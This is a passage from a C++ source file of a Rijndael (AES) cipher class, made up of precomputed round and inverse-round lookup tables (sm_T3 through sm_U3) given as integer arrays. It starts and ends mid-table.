-597574211, -2045932661, -2062579062, 210 | -1864339344, 1115438654, -999180875, -1429445018, 211 | -661632952, 84280067, 33027830, 303828494, 212 | -1547542175, 1600795957, -106014889, -798377543, 213 | -1860729210, 1486471617, 658119965, -1188585826, 214 | 953803233, 334231800, -1288988520, 857870609, 215 | -1143838359, 1890179545, -1995993458, -1489791852, 216 | -1238525029, 574365214, -1844082809, 550103529, 217 | 1233637070, -5614251, 2018519080, 2057691103, 218 | -1895592820, -128343647, -2146858615, 387583245, 219 | -630865985, 836232934, -964410814, -1194301336, 220 | -1014873791, -1339450983, 2002398509, 287182607, 221 | -881086288, -56077228, -697451589, 975967766 222 | }; 223 | 224 | const int CRijndael::sm_T3[256] = 225 | { 226 | 1671808611, 2089089148, 2006576759, 2072901243, 227 | -233963534, 1807603307, 1873927791, -984313403, 228 | 810573872, 16974337, 1739181671, 729634347, 229 | -31856642, -681396777, -1410970197, 1989864566, 230 | -901410870, -2103631998, -918517303, 2106063485, 231 | -99225606, 1508618841, 1204391495, -267650064, 232 | -1377025619, -731401260, -1560453214, -1343601233, 233 | -1665195108, -1527295068, 1922491506, -1067738176, 234 | -1211992649, -48438787, -1817297517, 644500518, 235 | 911895606, 1061256767, -150800905, -867204148, 236 | 878471220, -1510714971, -449523227, -251069967, 237 | 1905517169, -663508008, 827548209, 356461077, 238 | 67897348, -950889017, 593839651, -1017209405, 239 | 405286936, -1767819370, 84871685, -1699401830, 240 | 118033927, 305538066, -2137318528, -499261470, 241 | -349778453, 661212711, -1295155278, 1973414517, 242 | 152769033, -2086789757, 745822252, 439235610, 243 | 455947803, 1857215598, 1525593178, -1594139744, 244 | 1391895634, 994932283, -698239018, -1278313037, 245 | 695947817, -482419229, 795958831, -2070473852, 246 | 1408607827, -781665839, 0, -315833875, 247 | 543178784, -65018884, -1312261711, 1542305371, 248 | 1790891114, -884568629, -1093048386, 961245753, 249 | 1256100938, 1289001036, 1491644504, -817199665, 250 | -798245936, -282409489, -1427812438, -82383365, 251 | 1137018435, 1305975373, 861234739, -2053893755, 252 | 1171229253, -116332039, 33948674, 2139225727, 253 | 1357946960, 1011120188, -1615190625, -1461498968, 254 | 1374921297, -1543610973, 1086357568, -1886780017, 255 | -1834139758, -1648615011, 944271416, -184225291, 256 | -1126210628, -1228834890, -629821478, 560153121, 257 | 271589392, -15014401, -217121293, -764559406, 258 | -850624051, 202643468, 322250259, -332413972, 259 | 1608629855, -1750977129, 1154254916, 389623319, 260 | -1000893500, -1477290585, 2122513534, 1028094525, 261 | 1689045092, 1575467613, 422261273, 1939203699, 262 | 1621147744, -2120738431, 1339137615, -595614756, 263 | 577127458, 712922154, -1867826288, -2004677752, 264 | 1187679302, -299251730, -1194103880, 339486740, 265 | -562452514, 1591917662, 186455563, -612979237, 266 | -532948000, 844522546, 978220090, 169743370, 267 | 1239126601, 101321734, 611076132, 1558493276, 268 | -1034051646, -747717165, -1393605716, 1655096418, 269 | -1851246191, -1784401515, -466103324, 2039214713, 270 | -416098841, -935097400, 928607799, 1840765549, 271 | -1920204403, -714821163, 1322425422, -1444918871, 272 | 1823791212, 1459268694, -200805388, -366620694, 273 | 1706019429, 2056189050, -1360443474, 135794696, 274 | -1160417350, 2022240376, 628050469, 779246638, 275 | 472135708, -1494132826, -1261997132, -967731258, 276 | -400307224, -579034659, 1956440180, 522272287, 277 | 1272813131, -1109630531, -1954148981, -1970991222, 278 | 1888542832, 1044544574, -1245417035, 1722469478, 279 | 1222152264, 50660867, -167643146, 236067854, 280 | 1638122081, 895445557, 1475980887, -1177523783, 281 | -2037311610, -1051158079, 489110045, -1632032866, 282 | -516367903, -132912136, -1733088360, 288563729, 283 | 1773916777, -646927911, -1903622258, -1800981612, 284 | -1682559589, 505560094, -2020469369, -383727127, 285 | -834041906, 1442818645, 678973480, -545610273, 286 | -1936784500, -1577559647, -1988097655, 219617805, 287 | -1076206145, -432941082, 1120306242, 1756942440, 288 | 1103331905, -1716508263, 762796589, 252780047, 289 | -1328841808, 1425844308, -1143575109, 372911126 290 | }; 291 | 292 | const int CRijndael::sm_T4[256] = 293 | { 294 | 1667474886, 2088535288, 2004326894, 2071694838, 295 | -219017729, 1802223062, 1869591006, -976923503, 296 | 808472672, 16843522, 1734846926, 724270422, 297 | -16901657, -673750347, -1414797747, 1987484396, 298 | -892713585, -2105369313, -909557623, 2105378810, 299 | -84273681, 1499065266, 1195886990, -252703749, 300 | -1381110719, -724277325, -1566376609, -1347425723, 301 | -1667449053, -1532692653, 1920112356, -1061135461, 302 | -1212693899, -33743647, -1819038147, 640051788, 303 | 909531756, 1061110142, -134806795, -859025533, 304 | 875846760, -1515850671, -437963567, -235861767, 305 | 1903268834, -656903253, 825316194, 353713962, 306 | 67374088, -943238507, 589522246, -1010606435, 307 | 404236336, -1768513225, 84217610, -1701137105, 308 | 117901582, 303183396, -2139055333, -488489505, 309 | -336910643, 656894286, -1296904833, 1970642922, 310 | 151591698, -2088526307, 741110872, 437923380, 311 | 454765878, 1852748508, 1515908788, -1600062629, 312 | 1381168804, 993742198, -690593353, -1280061827, 313 | 690584402, -471646499, 791638366, -2071685357, 314 | 1398011302, -774805319, 0, -303223615, 315 | 538992704, -50585629, -1313748871, 1532751286, 316 | 1785380564, -875870579, -1094788761, 960056178, 317 | 1246420628, 1280103576, 1482221744, -808498555, 318 | -791647301, -269538619, -1431640753, -67430675, 319 | 1128514950, 1296947098, 859002214, -2054843375, 320 | 1162203018, -101117719, 33687044, 2139062782, 321 | 1347481760, 1010582648, -1616922075, -1465326773, 322 | 1364325282, -1549533603, 1077985408, -1886418427, 323 | -1835881153, -1650607071, 943212656, -168491791, 324 | -1128472733, -1229536905, -623217233, 555836226, 325 | 269496352, -58651, -202174723, -757961281, 326 | -842183551, 202118168, 320025894, -320065597, 327 | 1600119230, -1751670219, 1145359496, 387397934, 328 | -993765485, -1482165675, 2122220284, 1027426170, 329 | 1684319432, 1566435258, 421079858, 1936954854, 330 | 1616945344, -2122213351, 1330631070, -589529181, 331 | 572679748, 707427924, -1869567173, -2004319477, 332 | 1179044492, -286381625, -1195846805, 336870440, 333 | -555845209, 1583276732, 185277718, -606374227, 334 | -522175525, 842159716, 976899700, 168435220, 335 | 1229577106, 101059084, 606366792, 1549591736, 336 | -1027449441, -741118275, -1397952701, 1650632388, 337 | -1852725191, -1785355215, -454805549, 2038008818, 338 | -404278571, -926399605, 926374254, 1835907034, 339 | -1920103423, -707435343, 1313788572, -1448484791, 340 | 1819063512, 1448540844, -185333773, -353753649, 341 | 1701162954, 2054852340, -1364268729, 134748176, 342 | -1162160785, 2021165296, 623210314, 774795868, 343 | 471606328, -1499008681, -1263220877, -960081513, 344 | -387439669, -572687199, 1953799400, 522133822, 345 | 1263263126, -1111630751, -1953790451, -1970633457, 346 | 1886425312, 1044267644, -1246378895, 1718004428, 347 | 1212733584, 50529542, -151649801, 235803164, 348 | 1633788866, 892690282, 1465383342, -1179004823, 349 | -2038001385, -1044293479, 488449850, -1633765081, 350 | -505333543, -117959701, -1734823125, 286339874, 351 | 1768537042, -640061271, -1903261433, -1802197197, 352 | -1684294099, 505291324, -2021158379, -370597687, 353 | -825341561, 1431699370, 673740880, -539002203, 354 | -1936945405, -1583220647, -1987477495, 218961690, 355 | -1077945755, -421121577, 1111672452, 1751693520, 356 | 1094828930, -1717981143, 757954394, 252645662, 357 | -1330590853, 1414855848, -1145317779, 370555436 358 | }; 359 | 360 | const int CRijndael::sm_T5[256] = 361 | { 362 | 1374988112, 2118214995, 437757123, 975658646, 363 | 1001089995, 530400753, -1392879445, 1273168787, 364 | 540080725, -1384747530, -1999866223, -184398811, 365 | 1340463100, -987051049, 641025152, -1251826801, 366 | -558802359, 632953703, 1172967064, 1576976609, 367 | -1020300030, -2125664238, -1924753501, 1809054150, 368 | 59727847, 361929877, -1083344149, -1789765158, 369 | -725712083, 1484005843, 1239443753, -1899378620, 370 | 1975683434, -191989384, -1722270101, 666464733, 371 | -1092530250, -259478249, -920605594, 2110667444, 372 | 1675577880, -451268222, -1756286112, 1649639237, 373 | -1318815776, -1150570876, -25059300, -116905068, 374 | 1883793496, -1891238631, -1797362553, 1383856311, 375 | -1418472669, 1917518562, -484470953, 1716890410, 376 | -1293211641, 800440835, -2033878118, -751368027, 377 | 807962610, 599762354, 33778362, -317291940, 378 | -1966138325, -1485196142, -217582864, 1315562145, 379 | 1708848333, 101039829, -785096161, -995688822, 380 | 875451293, -1561111136, 92987698, -1527321739, 381 | 193195065, 1080094634, 1584504582, -1116860335, 382 | 1042385657, -1763899843, -583137874, 1306967366, 383 | -1856729675, 1908694277, 67556463, 1615861247, 384 | 429456164, -692196969, -1992277044, 1742315127, 385 | -1326955843, 126454664, -417768648, 2043211483, 386 | -1585706425, 2084704233, -125559095, 0, 387 | 159417987, 841739592, 504459436, 1817866830, 388 | -49348613, 260388950, 1034867998, 908933415, 389 | 168810852, 1750902305, -1688513327, 607530554, 390 | 202008497, -1822955761, -1259432238, 463180190, 391 | -2134850225, 1641816226, 1517767529, 470948374, 392 | -493635062, -1063245083, 1008918595, 303765277, 393 | 235474187, -225720403, 766945465, 337553864, 394 | 1475418501, -1351284916, -291906117, -1551933187, 395 | -150919521, 1551037884, 1147550661, 1543208500, 396 | -1958532746, -886847780, -1225917336, -1192955549, 397 | -684598070, 1113818384, 328671808, -2067394272, 398 | -2058738563, -759480840, -1359400431, -953573011, 399 | 496906059, -592301837, 226906860, 2009195472, 400 | 733156972, -1452230247, 294930682, 1206477858, 401 | -1459843900, -1594867942, 1451044056, 573804783, 402 | -2025238841, -650587711, -1932877058, -1730933962, 403 | -1493859889, -1518674392, -625504730, 1068351396, 404 | 742039012, 1350078989, 1784663195, 1417561698, 405 | -158526526, -1864845080, 775550814, -2101104651, 406 | -1621262146, 1775276924, 1876241833, -819653965, 407 | -928212677, 270040487, -392404114, -616842373, 408 | -853116919, 1851332852, -325404927, -2091935064, 409 | -426414491, -1426069890, 566021896, -283776794, 410 | -1159226407, 1248802510, -358676012, 699432150, 411 | 832877231, 708780849, -962227152, 899835584, 412 | 1951317047, -58537306, -527380304, 866637845, 413 | -251357110, 1106041591, 2144161806, 395441711, 414 | 1984812685, 1139781709, -861254316, -459930401, 415 | -1630423581, 1282050075, -1054072904, 1181045119, 416 | -1654724092, 25965917, -91786125, -83148498, 417 | -1285087910, -1831087534, -384805325, 1842759443, 418 | -1697160820, 933301370, 1509430414, -351060855, 419 | -827774994, -1218328267, -518199827, 2051518780, 420 | -1663901863, 1441952575, 404016761, 1942435775, 421 | 1408749034, 1610459739, -549621996, 2017778566, 422 | -894438527, -1184316354, 941896748, -1029488545, 423 | 371049330, -1126030068, 675039627, -15887039, 424 | 967311729, 135050206, -659233636, 1683407248, 425 | 2076935265, -718096784, 1215061108, -793225406 426 | }; 427 | 428 | const int CRijndael::sm_T6[256] = 429 | { 430 | 1347548327, 1400783205, -1021700188, -1774573730, 431 | -885281941, -249586363, -1414727080, -1823743229, 432 | 1428173050, -156404115, -1853305738, 636813900, 433 | -61872681, -674944309, -2144979644, -1883938141, 434 | 1239331162, 1730525723, -1740248562, -513933632, 435 | 46346101, 310463728, -1551022441, -966011911, 436 | -419197089, -1793748324, -339776134, -627748263, 437 | 768917123, -749177823, 692707433, 1150208456, 438 | 1786102409, 2029293177, 1805211710, -584599183, 439 | -1229004465, 401639597, 1724457132, -1266823622, 440 | 409198410, -2098914767, 1620529459, 1164071807, 441 | -525245321, -2068091986, 486441376, -1795618773, 442 | 1483753576, 428819965, -2020286868, -1219331080, 443 | 598438867, -495826174, 1474502543, 711349675, 444 | 129166120, 53458370, -1702443653, -1512884472, 445 | -231724921, -1306280027, -1174273174, 1559041666, 446 | 730517276, -1834518092, -252508174, -1588696606, 447 | -848962828, -721025602, 533804130, -1966823682, 448 | -1657524653, -1599933611, 839224033, 1973745387, 449 | 957055980, -1438621457, 106852767, 1371368976, 450 | -113368694, 1033297158, -1361232379, 1179510461, 451 | -1248766835, 91341917, 1862534868, -10465259, 452 | 605657339, -1747534359, -863420349, 2003294622, 453 | -1112479678, -2012771957, 954669403, -612775698, 454 | 1201765386, -377732593, -906460130, 0, 455 | -2096529274, 1211247597, -1407315600, 1315723890, 456 | -67301633, 1443857720, 507358933, 657861945, 457 | 1678381017, 560487590, -778347692, 975451694, 458 | -1324610969, 261314535, -759894378, -1642357871, 459 | 1333838021, -1570644960, 1767536459, 370938394, 460 | 182621114, -440360918, 1128014560, 487725847, 461 | 185469197, -1376613433, -1188186456, -938205527, 462 | -2057834215, 1286567175, -1141990947, -39616672, 463 | -1611202266, -1134791947, -985373125, 878443390, 464 | 1988838185, -590666810, 1756818940, 1673061617, 465 | -891866660, 272786309, 1075025698, 545572369, 466 | 2105887268, -120407235, 296679730, 1841768865, 467 | 1260232239, -203640272, -334657966, -797457949, 468 | 1814803222, -1716948807, -99511224, 575138148, 469 | -995558260, 446754879, -665420500, -282971248, 470 | -947435186, -1042728751, -24327518, 915985419, 471 | -811141759, 681933534, 651868046, -1539330625, 472 | -466863459, 223377554, -1687527476, 1649704518, 473 | -1024029421, -393160520, 1580087799, -175979601, 474 | -1096852096, 2087309459, -1452288723, -1278270190, 475 | 1003007129, -1492117379, 1860738147, 2077965243, 476 | 164439672, -194094824, 32283319, -1467789414, 477 | 1709610350, 2125135846, 136428751, -420538904, 478 | -642062437, -833982666, -722821367, -701910916, 479 | -1355701070, 824852259, 818324884, -1070226842, 480 | 930369212, -1493400886, -1327460144, 355706840, 481 | 1257309336, -146674470, 243256656, 790073846, 482 | -1921626666, 1296297904, 1422699085, -538667516, 483 | -476130891, 457992840, -1195299809, 2135319889, 484 | 77422314, 1560382517, 1945798516, 788204353, 485 | 1521706781, 1385356242, 870912086, 325965383, 486 | -1936009375, 2050466060, -1906706412, -1981082820, 487 | -288446169, 901210569, -304014107, 1014646705, 488 | 1503449823, 1062597235, 2031621326, -1082931401, 489 | -363595827, 1533017514, 350174575, -2038938405, 490 | -2117423117, 1052338372, 741876788, 1606591296, 491 | 1914052035, 213705253, -1960297399, 1107234197, 492 | 1899603969, -569897805, -1663519516, -1872472383, 493 | 1635502980, 1893020342, 1950903388, 1120974935 494 | }; 495 | 496 | const int CRijndael::sm_T7[256] = 497 | { 498 | -1487908364, 1699970625, -1530717673, 1586903591, 499 | 1808481195, 1173430173, 1487645946, 59984867, 500 | -95084496, 1844882806, 1989249228, 1277555970, 501 | -671330331, -875051734, 1149249077, -1550863006, 502 | 1514790577, 459744698, 244860394, -1058972162, 503 | 1963115311, -267222708, -1750889146, -104436781, 504 | 1608975247, -1667951214, 2062270317, 1507497298, 505 | -2094148418, 567498868, 1764313568, -935031095, 506 | -1989511742, 2037970062, 1047239000, 1910319033, 507 | 1337376481, -1390940024, -1402549984, 984907214, 508 | 1243112415, 830661914, 861968209, 2135253587, 509 | 2011214180, -1367032981, -1608712575, 731183368, 510 | 1750626376, -48656571, 1820824798, -122203525, 511 | -752637069, 48394827, -1890065633, -1423284651, 512 | 671593195, -1039978571, 2073724613, 145085239, 513 | -2014171096, -1515052097, 1790575107, -2107839210, 514 | 472615631, -1265457287, -219090169, -492745111, 515 | -187865638, -1093335547, 1646252340, -24460122, 516 | 1402811438, 1436590835, -516815478, -344611594, 517 | -331805821, -274055072, -1626972559, 273792366, 518 | -1963377119, 104699613, 95345982, -1119466010, 519 | -1917480620, 1560637892, -730921978, 369057872, 520 | -81520232, -375925059, 1137477952, -1636341799, 521 | 1119727848, -1954019447, 1530455833, -287606328, 522 | 172466556, 266959938, 516552836, 0, 523 | -2038232704, -314035669, 1890328081, 1917742170, 524 | -262898, 945164165, -719438418, 958871085, 525 | -647755249, -1507760036, 1423022939, 775562294, 526 | 1739656202, -418409641, -1764576018, -1851909221, 527 | -984645440, 547512796, 1265195639, 437656594, 528 | -1173691757, 719700128, -532464606, 387781147, 529 | 218828297, -944901493, -1464259146, -1446505442, 530 | 428169201, 122466165, -574886247, 1627235199, 531 | 648017665, -172204942, 1002783846, 2117360635, 532 | 695634755, -958608605, -60246291, -245122844, 533 | -590686415, -2062531997, 574624663, 287343814, 534 | 612205898, 1039717051, 840019705, -1586641111, 535 | 793451934, 821288114, 1391201670, -472877119, 536 | 376187827, -1181111952, 1224348052, 1679968233, 537 | -1933268740, 1058709744, 752375421, -1863376333, 538 | 1321699145, -775825096, -1560376118, 188127444, 539 | -2117097739, -567761542, -1910056265, -1079754835, 540 | -1645990854, -1844621192, -862229921, 1180849278, 541 | 331544205, -1192718120, -144822727, -1342864701, 542 | -2134991011, -1820562992, 766078933, 313773861, 543 | -1724135252, 2108100632, 1668212892, -1149510853, 544 | 2013908262, 418672217, -1224610662, -1700232369, 545 | 1852171925, -427906305, -821550660, -387518699, 546 | -1680229657, 919489135, 164948639, 2094410160, 547 | -1297141340, 590424639, -1808742747, 1723872674, 548 | -1137216434, -895026046, -793714544, -669699161, 549 | -1739919100, -621329940, 1343127501, -164685935, 550 | -695372211, -1337113617, 1297403050, 81781910, 551 | -1243373871, -2011476886, 532201772, 1367295589, 552 | -368796322, 895287692, 1953757831, 1093597963, 553 | 492483431, -766340389, 1446242576, 1192455638, 554 | 1636604631, 209336225, 344873464, 1015671571, 555 | 669961897, -919226527, -437395172, -1321436601, 556 | -547775278, 1933530610, -830924780, 935293895, 557 | -840281097, -1436852227, 1863638845, -611944380, 558 | -209597777, -1002522264, 875313188, 1080017571, 559 | -1015933411, 621591778, 1233856572, -1790836979, 560 | 24197544, -1277294580, -459482956, -1047501738, 561 | -2073986101, -1234119374, 1551124588, 1463996600 562 | }; 563 | 564 | const int CRijndael::sm_T8[256] = 565 | { 566 | -190361519, 1097159550, 396673818, 660510266, 567 | -1418998981, -1656360673, -94852180, -486304949, 568 | 821712160, 1986918061, -864644728, 38544885, 569 | -438830001, 718002117, 893681702, 1654886325, 570 | -1319482914, -1172609243, -368142267, -20913827, 571 | 796197571, 1290801793, 1184342925, -738605461, 572 | -1889540349, -1835231979, 1836772287, 1381620373, 573 | -1098699308, 1948373848, -529979063, -909622130, 574 | -1031181707, -1904641804, 1480485785, -1183720153, 575 | -514869570, -2001922064, 548169417, -835013507, 576 | -548792221, 439452389, 1362321559, 1400849762, 577 | 1685577905, 1806599355, -2120213250, 137073913, 578 | 1214797936, 1174215055, -563312748, 2079897426, 579 | 1943217067, 1258480242, 529487843, 1437280870, 580 | -349698126, -1245576401, -981755258, 923313619, 581 | 679998000, -1079659997, 57326082, 377642221, 582 | -820237430, 2041877159, 133361907, 1776460110, 583 | -621490843, 96392454, 878845905, -1493267772, 584 | 777231668, -212492126, -1964953083, -152341084, 585 | -2081670901, 1626319424, 1906247262, 1846563261, 586 | 562755902, -586793578, 1040559837, -423803315, 587 | 1418573201, -1000536719, 114585348, 1343618912, 588 | -1728371687, -1108764714, 1078185097, -643926169, 589 | -398279248, -1987344377, 425408743, -923870343, 590 | 2081048481, 1108339068, -2078357000, 0, 591 | -2138668279, 736970802, 292596766, 1517440620, 592 | 251657213, -2059905521, -1361764803, 758720310, 593 | 265905162, 1554391400, 1532285339, 908999204, 594 | 174567692, 1474760595, -292105548, -1684955621, 595 | -1060810880, -601841055, 2001430874, 303699484, 596 | -1816524062, -1607801408, 585122620, 454499602, 597 | 151849742, -1949848078, -1230456531, 514443284, 598 | -249985705, 1963412655, -1713521682, 2137062819, 599 | 19308535, 1928707164, 1715193156, -75615141, 600 | 1126790795, 600235211, -302225226, -453942344, 601 | 836553431, 1669664834, -1759363053, -971956092, 602 | 1243905413, -1153566510, -114159186, 698445255, 603 | -1641067747, -1305414692, -2041385971, -1042034569, 604 | -1290376149, 1891211689, -1807156719, -379313593, 605 | -57883480, -264299872, 2100090966, 865136418, 606 | 1229899655, 953270745, -895287668, -737462632, 607 | -176042074, 2061379749, -1215420710, -1379949505, 608 | 983426092, 2022837584, 1607244650, 2118541908, 609 | -1928084746, -658970480, 972512814, -1011878526, 610 | 1568718495, -795640727, -718427793, 621982671, 611 | -1399243832, 410887952, -1671205144, 1002142683, 612 | 645401037, 1494807662, -1699282452, 1335535747, 613 | -1787927066, -1671510, -1127282655, 367585007, 614 | -409216582, 1865862730, -1626745622, -1333995991, 615 | -1531793615, 1059270954, -1517014842, -1570324427, 616 | 1320957812, -2100648196, -1865371424, -1479011021, 617 | 77089521, -321194175, -850391425, -1846137065, 618 | 1305906550, -273658557, -1437772596, -1778065436, 619 | -776608866, 1787304780, 740276417, 1699839814, 620 | 1592394909, -1942659839, -2022411270, 188821243, 621 | 1729977011, -606973294, 274084841, -699985043, 622 | -681472870, -1593017801, -132870567, 322734571, 623 | -1457000754, 1640576439, 484830689, 1202797690, 624 | -757114468, -227328171, 349075736, -952647821, 625 | -137500077, -39167137, 1030690015, 1155237496, 626 | -1342996022, 1757691577, 607398968, -1556062270, 627 | 499347990, -500888388, 1011452712, 227885567, 628 | -1476300487, 213114376, -1260086056, 1455525988, 629 | -880516741, 850817237, 1817998408, -1202240816 630 | }; 631 | 632 | const int CRijndael::sm_U1[256] = 633 | { 634 | 0, 235474187, 470948374, 303765277, 635 | 941896748, 908933415, 607530554, 708780849, 636 | 1883793496, 2118214995, 1817866830, 1649639237, 637 | 1215061108, 1181045119, 1417561698, 1517767529, 638 | -527380304, -291906117, -58537306, -225720403, 639 | -659233636, -692196969, -995688822, -894438527, 640 | -1864845080, -1630423581, -1932877058, -2101104651, 641 | -1459843900, -1493859889, -1259432238, -1159226407, 642 | -616842373, -718096784, -953573011, -920605594, 643 | -484470953, -317291940, -15887039, -251357110, 644 | -1418472669, -1518674392, -1218328267, -1184316354, 645 | -1822955761, -1654724092, -1891238631, -2125664238, 646 | 1001089995, 899835584, 666464733, 699432150, 647 | 59727847, 226906860, 530400753, 294930682, 648 | 1273168787, 1172967064, 1475418501, 1509430414, 649 | 1942435775, 2110667444, 1876241833, 1641816226, 650 | -1384747530, -1551933187, -1318815776, -1083344149, 651 | -1789765158, -1688513327, -1992277044, -2025238841, 652 | -583137874, -751368027, -1054072904, -819653965, 653 | -451268222, -351060855, -116905068, -150919521, 654 | 1306967366, 1139781709, 1374988112, 1610459739, 655 | 1975683434, 2076935265, 1775276924, 1742315127, 656 | 1034867998, 866637845, 566021896, 800440835, 657 | 92987698, 193195065, 429456164, 395441711, 658 | 1984812685, 2017778566, 1784663195, 1683407248, 659 | 1315562145, 1080094634, 1383856311, 1551037884, 660 | 101039829, 135050206, 437757123, 337553864, 661 | 1042385657, 807962610, 573804783, 742039012, 662 | -1763899843, -1730933962, -1966138325, -2067394272, 663 | -1359400431, -1594867942, -1293211641, -1126030068, 664 | -426414491, -392404114, -91786125, -191989384, 665 | -558802359, -793225406, -1029488545, -861254316, 666 | 1106041591, 1340463100, 1576976609, 1408749034, 667 | 2043211483, 2009195472, 1708848333, 1809054150, 668 | 832877231, 1068351396, 766945465, 599762354, 669 | 159417987, 126454664, 361929877, 463180190, 670 | -1585706425, -1351284916, -1116860335, -1285087910, 671 | -1722270101, -1756286112, -2058738563, -1958532746, 672 | -785096161, -549621996, -853116919, -1020300030, 673 | -384805325, -417768648, -184398811, -83148498, 674 | -1697160820, -1797362553, -2033878118, -1999866223, 675 | -1561111136, -1392879445, -1092530250, -1326955843, 676 | -358676012, -459930401, -158526526, -125559095, 677 | -759480840, -592301837, -827774994, -1063245083, 678 | 2051518780, 1951317047, 1716890410, 1750902305, 679 | 1113818384, 1282050075, 1584504582, 1350078989, 680 | 168810852, 67556463, 371049330, 404016761, 681 | 841739592, 1008918595, 775550814, 540080725, 682 | -325404927, -493635062, -259478249, -25059300, 683 | -725712083, -625504730, -928212677, -962227152, 684 | -1663901863, -1831087534, -2134850225, -1899378620, 685 | -1527321739, -1426069890, -1192955549, -1225917336, 686 | 202008497, 33778362, 270040487, 504459436, 687 | 875451293, 975658646, 675039627, 641025152, 688 | 2084704233, 1917518562, 1615861247, 1851332852, 689 | 1147550661, 1248802510, 1484005843, 1451044056, 690 | 933301370, 967311729, 733156972, 632953703, 691 | 260388950, 25965917, 328671808, 496906059, 692 | 1206477858, 1239443753, 1543208500, 1441952575, 693 | 2144161806, 1908694277, 1675577880, 1842759443, 694 | -684598070, -650587711, -886847780, -987051049, 695 | -283776794, -518199827, -217582864, -49348613, 696 | -1485196142, -1452230247, -1150570876, -1251826801, 697 | -1621262146, -1856729675, -2091935064, -1924753501 698 | }; 699 | 700 | const int CRijndael::sm_U2[256] = 701 | { 702 | 0, 185469197, 370938394, 487725847, 703 | 741876788, 657861945, 975451694, 824852259, 704 | 1483753576, 1400783205, 1315723890, 1164071807, 705 | 1950903388, 2135319889, 1649704518, 1767536459, 706 | -1327460144, -1141990947, -1493400886, -1376613433, 707 | -1663519516, -1747534359, -1966823682, -2117423117, 708 | -393160520, -476130891, -24327518, -175979601, 709 | -995558260, -811141759, -759894378, -642062437, 710 | 2077965243, 1893020342, 1841768865, 1724457132, 711 | 1474502543, 1559041666, 1107234197, 1257309336, 712 | 598438867, 681933534, 901210569, 1052338372, 713 | 261314535, 77422314, 428819965, 310463728, 714 | -885281941, -1070226842, -584599183, -701910916, 715 | -419197089, -334657966, -249586363, -99511224, 716 | -1823743229, -1740248562, -2057834215, -1906706412, 717 | -1082931401, -1266823622, -1452288723, -1570644960, 718 | -156404115, -39616672, -525245321, -339776134, 719 | -627748263, -778347692, -863420349, -947435186, 720 | -1361232379, -1512884472, -1195299809, -1278270190, 721 | -2098914767, -1981082820, -1795618773, -1611202266, 722 | 1179510461, 1296297904, 1347548327, 1533017514, 723 | 1786102409, 1635502980, 2087309459, 2003294622, 724 | 507358933, 355706840, 136428751, 53458370, 725 | 839224033, 957055980, 605657339, 790073846, 726 | -1921626666, -2038938405, -1687527476, -1872472383, 727 | -1588696606, -1438621457, -1219331080, -1134791947, 728 | -721025602, -569897805, -1021700188, -938205527, 729 | -113368694, -231724921, -282971248, -466863459, 730 | 1033297158, 915985419, 730517276, 545572369, 731 | 296679730, 446754879, 129166120, 213705253, 732 | 1709610350, 1860738147, 1945798516, 2029293177, 733 | 1239331162, 1120974935, 1606591296, 1422699085, 734 | -146674470, -61872681, -513933632, -363595827, 735 | -612775698, -797457949, -848962828, -966011911, 736 | -1355701070, -1539330625, -1188186456, -1306280027, 737 | -2096529274, -2012771957, -1793748324, -1642357871, 738 | 1201765386, 1286567175, 1371368976, 1521706781, 739 | 1805211710, 1620529459, 2105887268, 1988838185, 740 | 533804130, 350174575, 164439672, 46346101, 741 | 870912086, 954669403, 636813900, 788204353, 742 | -1936009375, -2020286868, -1702443653, -1853305738, 743 | -1599933611, -1414727080, -1229004465, -1112479678, 744 | -722821367, -538667516, -1024029421, -906460130, 745 | -120407235, -203640272, -288446169, -440360918, 746 | 1014646705, 930369212, 711349675, 560487590, 747 | 272786309, 457992840, 106852767, 223377554, 748 | 1678381017, 1862534868, 1914052035, 2031621326, 749 | 1211247597, 1128014560, 1580087799, 1428173050, 750 | 32283319, 182621114, 401639597, 486441376, 751 | 768917123, 651868046, 1003007129, 818324884, 752 | 1503449823, 1385356242, 1333838021, 1150208456, 753 | 1973745387, 2125135846, 1673061617, 1756818940, 754 | -1324610969, -1174273174, -1492117379, -1407315600, 755 | -1657524653, -1774573730, -1960297399, -2144979644, 756 | -377732593, -495826174, -10465259, -194094824, 757 | -985373125, -833982666, -749177823, -665420500, 758 | 2050466060, 1899603969, 1814803222, 1730525723, 759 | 1443857720, 1560382517, 1075025698, 1260232239, 760 | 575138148, 692707433, 878443390, 1062597235, 761 | 243256656, 91341917, 409198410, 325965383, 762 | -891866660, -1042728751, -590666810, -674944309, 763 | -420538904, -304014107, -252508174, -67301633, 764 | -1834518092, -1716948807, -2068091986, -1883938141, 765 | -1096852096, -1248766835, -1467789414, -1551022441, 766 | }; 767 | 768 | const int CRijndael::sm_U3[256] = 769 | { 770 | 0, 218828297, 437656594, 387781147, 771 | 875313188, 958871085, 775562294, 590424639, 772 | 1750626376, 1699970625, 1917742170, 2135253587, 773 | 1551124588, 1367295589, 1180849278, 1265195639, 774 | -793714544, -574886247, -895026046, -944901493, 775 | -459482956, -375925059, -24460122, -209597777, 776 | -1192718120, -1243373871, -1560376118, -1342864701, 777 | -1933268740, -2117097739, -1764576018, -1680229657, 778 | -1149510853, -1234119374, -1586641111, -1402549984, 779 | -1890065633, -2107839210, -1790836979, -1739919100, 780 | -752637069, -567761542, -919226527, -1002522264, 781 | -418409641, -368796322, -48656571, -267222708, 782 | 1808481195, 1723872674, 1910319033, 2094410160, 783 | 1608975247, 1391201670, 1173430173, 1224348052, 784 | 59984867, 244860394, 428169201, 344873464, 785 | 935293895, 984907214, 766078933, 547512796, 786 | 1844882806, 1627235199, 2011214180, 2062270317, 787 | 1507497298, 1423022939, 1137477952, 1321699145, 788 | 95345982, 145085239, 532201772, 313773861, 789 | 830661914, 1015671571, 731183368, 648017665, 790 | -1119466010, -1337113617, -1487908364, -1436852227, 791 | -1989511742, -2073986101, -1820562992, -1636341799, 792 | -719438418, -669699161, -821550660, -1039978571, 793 | -516815478, -331805821, -81520232, -164685935, 794 | -695372211, -611944380, -862229921, -1047501738, 795 | -492745111, -274055072, -122203525, -172204942, 796 | -1093335547, -1277294580, -1530717673, -1446505442, 797 | -1963377119, -2014171096, -1863376333, -1645990854, 798 | 104699613, 188127444, 472615631, 287343814, 799 | 840019705, 1058709744, 671593195, 621591778, 800 | 1852171925, 1668212892, 1953757831, 2037970062, 801 | 1514790577, 1463996600, 1080017571, 1297403050, 802 | -621329940, -671330331, -1058972162, -840281097, 803 | -287606328, -472877119, -187865638, -104436781, 804 | -1297141340, -1079754835, -1464259146, -1515052097, 805 | -2038232704, -1954019447, -1667951214, -1851909221, 806 | 172466556, 122466165, 273792366, 492483431, 807 | 1047239000, 861968209, 612205898, 